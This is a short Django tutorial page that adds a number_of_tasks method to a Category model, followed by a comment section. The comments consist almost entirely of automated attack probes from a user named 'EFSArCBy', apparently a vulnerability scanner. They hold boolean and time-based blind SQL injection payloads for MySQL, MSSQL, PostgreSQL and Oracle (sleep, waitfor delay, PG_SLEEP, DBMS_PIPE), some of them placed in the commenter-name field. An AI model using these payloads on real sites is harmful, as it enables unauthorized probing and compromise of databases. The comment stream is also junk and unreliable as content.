Creating a model function - 30 days of Django

Creating a model function - 30 days of Django

/ #Django


A common practice in Django is making fat models and thin views. Keep reading to learn more.

We generally want to have as simple views as possible, because it doesn't make sense to put functionality there. Functionality should be put in model files or utility files.

So in this part of the series, we will add a custom function to one of our models. Open up "category/models.py":

class Category(models.Model):
    title = models.CharField(max_length=255)
    
    class Meta:
        verbose_name_plural = 'Categories'
        
    def __str__(self):
        return self.title
        
    def number_of_tasks(self):
        return self.tasks.count()

As you can see here, we've added a new method to the Category model. This could now be used in templates and similar like this:

{{ category.number_of_tasks }}

Table of contents

Comments

EFSArCBy | Jul 02, 26 07:38

555

EFSArCBy | Jul 02, 26 07:38

555

EFSArCBy | Jul 02, 26 07:38

555

EFSArCBy | Jul 02, 26 07:38

-1 OR 2+943-943-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:38

-1 OR 2+646-646-1=0+0+0+1

EFSArCBy | Jul 02, 26 07:38

-1' OR 2+633-633-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:38

-1' OR 2+434-434-1=0+0+0+1 or 'A2DGvo4h'='

EFSArCBy | Jul 02, 26 07:38

-1" OR 2+423-423-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:38

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 07:38

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 07:38

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 07:38

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 07:38

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:38

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:38

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:38

5551eGlEnSM'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:38

555-1 OR 244=(SELECT 244 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:38

555-1) OR 756=(SELECT 756 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:38

555-1)) OR 156=(SELECT 156 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:38

555w5QLZ3DX' OR 647=(SELECT 647 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:38

555W8WfKvgI') OR 275=(SELECT 275 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:38

555inKUsBfa')) OR 685=(SELECT 685 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:38

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 07:38

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 07:38

555

EFSArCBy | Jul 02, 26 07:38

555'"

EFSArCBy | Jul 02, 26 07:38

@@WVLp8

EFSArCBy | Jul 02, 26 07:38

555

EFSArCBy | Jul 02, 26 07:38

555

EFSArCBy | Jul 02, 26 07:38

555

EFSArCBy | Jul 02, 26 07:38

555

EFSArCBy | Jul 02, 26 07:38

555

EFSArCBy | Jul 02, 26 07:38

555

EFSArCBy | Jul 02, 26 07:38

555

EFSArCBy | Jul 02, 26 07:38

555

EFSArCBy | Jul 02, 26 07:38

555

EFSArCBy | Jul 02, 26 07:38

555

EFSArCBy | Jul 02, 26 07:38

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

-1 OR 2+220-220-1=0+0+0+1 -- | Jul 02, 26 07:39

555

-1 OR 2+51-51-1=0+0+0+1 | Jul 02, 26 07:39

555

-1' OR 2+930-930-1=0+0+0+1 -- | Jul 02, 26 07:39

555

-1' OR 2+129-129-1=0+0+0+1 or 'fsoYYFl9'=' | Jul 02, 26 07:39

555

-1" OR 2+251-251-1=0+0+0+1 -- | Jul 02, 26 07:39

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 07:39

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 07:39

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 07:39

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 07:39

555

EFSArCByCDgQTACx'; waitfor delay '0:0:15' -- | Jul 02, 26 07:39

555

EFSArCByyHAptdfN' OR 95=(SELECT 95 FROM PG_SLEEP(15))-- | Jul 02, 26 07:39

555

EFSArCByVbcx1NHW') OR 568=(SELECT 568 FROM PG_SLEEP(15))-- | Jul 02, 26 07:39

555

EFSArCBy6sW78VDl')) OR 883=(SELECT 883 FROM PG_SLEEP(15))-- | Jul 02, 26 07:39

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy'" | Jul 02, 26 07:39

555

@@a482n | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

EFSArCBy | Jul 02, 26 07:39

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.